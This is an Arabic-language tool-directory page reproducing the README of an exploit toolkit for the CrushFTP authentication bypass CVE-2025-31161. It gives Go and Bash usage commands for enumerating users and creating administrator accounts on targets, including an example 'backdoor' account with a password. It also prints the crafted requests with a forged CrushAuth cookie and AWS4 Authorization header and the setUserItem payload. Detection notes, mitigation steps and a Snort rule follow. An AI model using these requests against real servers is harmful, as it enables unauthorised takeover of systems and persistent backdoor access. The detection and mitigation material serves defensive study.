Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/0xdtc/crushftp-auth-bypass-cve-2025-31161
المصادقة والترخيصتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالقيادة والسيطرةالتعلم والتعليم

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الفريق الأحمر
GitHub0xdtc/crushftp-auth-bypass-cve-2025-31161

CrushFTP-auth-bypass-CVE-2025-31161

استغلال لتجاوز المصادقة CVE-2025-31161 في CrushFTP: يكتشف الأهداف المعرضة للخطر، ويسرد المستخدمين، وينشئ حسابات مسؤول غير مصرح بها عبر طلبات HTTP مصممة في Go و Bash.

عرض المستودع
9منذ 0 سنواتلم تتم المراجعة بعد

تجاوز مصادقة CrushFTP - CVE-2025-31161

License: MIT CVE Go Bash

مجموعة أدوات شاملة لاستغلال الثغرة CVE-2025-31161، وهي ثغرة تجاوز مصادقة في CrushFTP تسمح بإنشاء حسابات مستخدمين غير مصرح بها.

🔍 ما هي CVE-2025-31161؟

CVE-2025-31161 هي ثغرة حرجة في تجاوز المصادقة في CrushFTP تسمح للمهاجمين بإنشاء حسابات مستخدمين غير مصرح بها دون مصادقة صحيحة. توجد هذه الثغرة في وظيفة إدارة المستخدمين الخاصة بواجهة الويب.

التفاصيل الفنية

  • درجة CVSS: قيد التحديد
  • البرنامج المتأثر: واجهة الويب لـ CrushFTP
  • متجه الهجوم: الشبكة
  • المصادقة المطلوبة: لا شيء
  • التأثير: اختراق كامل للنظام من خلال إنشاء حسابات غير مصرح بها

🚀 الميزات

  • دعم متعدد اللغات: تطبيقات بلغة Go و Bash
  • كشف ذكي للثغرات: التحقق تلقائياً من كون الهدف قابلًا للاستغلال قبل الهجوم
  • تعداد المستخدمين: سرد المستخدمين الحاليين على الأهداف القابلة للاستغلال
  • إنشاء المستخدمين: إنشاء حسابات إدارية جديدة
  • الوضع التفاعلي: يطلب بيانات الاعتماد فقط عند تأكيد كون الهدف قابلاً للاستغلال
  • علامات مختصرة: وصول سريع باستخدام -t و -p و -tu
  • دعم منفذ مخصص: منفذ قابل للتكوين لسيناريوهات النشر المختلفة
  • تركيز تعليمي: مصمم لتحديات CTF والبحث الأمني

📁 بنية المستودع

CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # هذه التوثيقات
├── cve-2025-31161.go        # تطبيق Go (موصى به)
├── cve-2025-31161.sh        # تطبيق Bash
└── LICENSE                  # رخصة MIT

🛠️ التثبيت والمتطلبات

المتطلبات الأساسية

لإصدار Go (موصى به)

# تثبيت Go (إذا لم يكن مثبتاً بالفعل)
sudo apt install golang-go
# أو
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

لإصدار Bash

# يتطلب curl (عادةً مثبت مسبقاً)
sudo apt install curl

الإعداد السريع

git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 الاستخدام

إصدار Go (موصى به)

سرد المستخدمين

# الاستخدام الأساسي مع العلامات المختصرة
go run cve-2025-31161.go -t example.com -lu

# مع منفذ مخصص
go run cve-2025-31161.go -t example.com -p 8080 -lu

# العلامات بالصيغة الطويلة
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

إضافة مستخدم جديد

# إنشاء مستخدم جديد (سيطلب اسم المستخدم وكلمة المرور)
go run cve-2025-31161.go -t example.com -au

# مع مستخدم هدف مخصص (الافتراضي: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# العلامات بالصيغة الطويلة
go run cve-2025-31161.go --target_host example.com --target_user admin -au

إصدار Bash

سرد المستخدمين

# الاستخدام الأساسي
./cve-2025-31161.sh -t example.com -lu

# مع منفذ مخصص
./cve-2025-31161.sh -t example.com -p 8080 -lu

إضافة مستخدم جديد

# إنشاء مستخدم جديد
./cve-2025-31161.sh -t example.com -au

# مع إعدادات مخصصة
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

العلامات المتاحة

العلامةالصيغة الطويلةالوصفالافتراضي
-t--target_hostاسم المضيف الهدف أو IP (مطلوب)-
-p--portالمنفذ الهدف80
-tu--target_userالمستخدم الهدف للاستغلالcrushadmin
-lu--list-usersسرد المستخدمين الحاليين-
-au--add-userإضافة مستخدم جديد (تفاعلي)-
--helpعرض رسالة المساعدة-

أمثلة الاستخدام

# مثال 1: تعداد المستخدمين على الهدف
go run cve-2025-31161.go -t ftp.example.htb -lu

# مثال 2: إنشاء حساب خلفي
go run cve-2025-31161.go -t ftp.example.htb -au
# ثم أدخل: username: backdoor, password: P@ssw0rd123

# مثال 3: منفذ غير قياسي مع تعداد المستخدمين
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# عرض المساعدة
./cve-2025-31161.sh --help

🔄 كيف يعمل

flowchart TD
    A[بدء الاستغلال] --> B[فحص اتصال الهدف]
    B --> C{هل الهدف قابل للوصول؟}
    C -->|لا| D[خروج: فشل الاتصال]
    C -->|نعم| E[إرسال طلب getUserList]
    E --> F{هل يحتوي الرد على OK؟}
    F -->|لا| G[خروج: غير قابل للاستغلال]
    F -->|نعم| H[الهدف قابل للاستغلال!]
    H --> I{الوضع المحدد؟}
    I -->|سرد المستخدمين -lu| J[تحليل رد XML]
    J --> K[عرض قائمة المستخدمين]
    K --> L[خروج: نجاح]
    I -->|إضافة مستخدم -au| M[طلب اسم المستخدم]
    M --> N[طلب كلمة المرور]
    N --> O[إرسال طلب تسخين]
    O --> P[بناء حمولة إنشاء المستخدم]
    P --> Q[إرسال طلب setUserItem]
    Q --> R{هل تم إنشاء المستخدم بنجاح؟}
    R -->|نعم| S[نجاح: تم إنشاء الحساب]
    R -->|لا| T[فشل: الاستغلال لم ينجح]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 شرح تدفق الاستغلال

الخطوة 1: كشف الثغرة

يرسل السكريبت أولاً طلب getUserList للتحقق مما إذا كان الهدف قابلاً للاستغلال:

GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

إذا كان الرد يحتوي على <response_status>OK</response_status>، فإن الهدف قابل للاستغلال.

الخطوة 2أ: تعداد المستخدمين (وضع سرد المستخدمين)

عند استخدام العلامة -lu، يقوم السكريبت بتحليل رد XML واستخراج أسماء المستخدمين:

<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

الإخراج:

[+] المستخدمون:
  - ben
  - crushadmin
  - default

الخطوة 2ب: إنشاء حساب مستخدم (وضع إضافة المستخدم)

عند استخدام العلامة -au، يرسل السكريبت طلب setUserItem مع حمولة XML ضارة:

POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

الخطوة 3: التحقق

يتحقق السكريبت من وجود <response_status>OK</response_status> في الرد لتأكيد نجاح إنشاء المستخدم.


⚠️ تفاصيل الثغرة

السبب الجذري

تنشأ الثغرة من فحص غير كافٍ للمصادقة في وظيفة إدارة المستخدمين لواجهة ويب CrushFTP. يقبل التطبيق طلبات إنشاء مستخدم دون التحقق السليم من صلاحيات المتصل.

تقييم التأثير

  • السرية: عالي - وصول غير مصرح به إلى نظام الملفات
  • السلامة: عالي - القدرة على تعديل/رفع الملفات
  • التوفر: متوسط - احتمالية استنزاف الموارد

سيناريوهات الهجوم

  1. الوصول الأولي: إنشاء حسابات خلفية للوصول المستمر
  2. تصعيد الصلاحيات: إنشاء حسابات بمستوى إداري
  3. استخراج البيانات: الوصول إلى الملفات الحساسة عبر واجهة FTP
  4. الحركة الجانبية: استخدام خادم FTP المخترق كنقطة انطلاق

🛡️ الكشف والتخفيف

طرق الكشف

  • مراقبة طلبات setUserItem غير المعتادة في سجلات الويب
  • التحقق من حسابات المستخدمين الجديدة التي تم إنشاؤها خارج العمليات المعتادة
  • تطبيق كشف الشذوذ لأنماط تجاوز المصادقة

استراتيجيات التخفيف

  1. فوري: حظر الوصول إلى نقاط النهاية /webinterface/function/
  2. قصير الأمد: التحديث إلى إصدار CrushFTP المُصحح
  3. طويل الأمد: تطبيق ضوابط مصادقة مناسبة

توقيعات الشبكة

# مثال قاعدة Snort/Suricata
alert http any any -> any any (msg:"محاولة استغلال CrushFTP CVE-2025-31161"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 حالات الاستخدام التعليمية

سيناريوهات CTF

  • أمن تطبيقات الويب: فهم ثغرات تجاوز المصادقة
  • اختبار الاختراق: إظهار تقنيات الاستغلال في العالم الحقيقي
  • تمارين الفريق الأحمر: محاكاة هجمات على غرار APT
تنزيل الأداة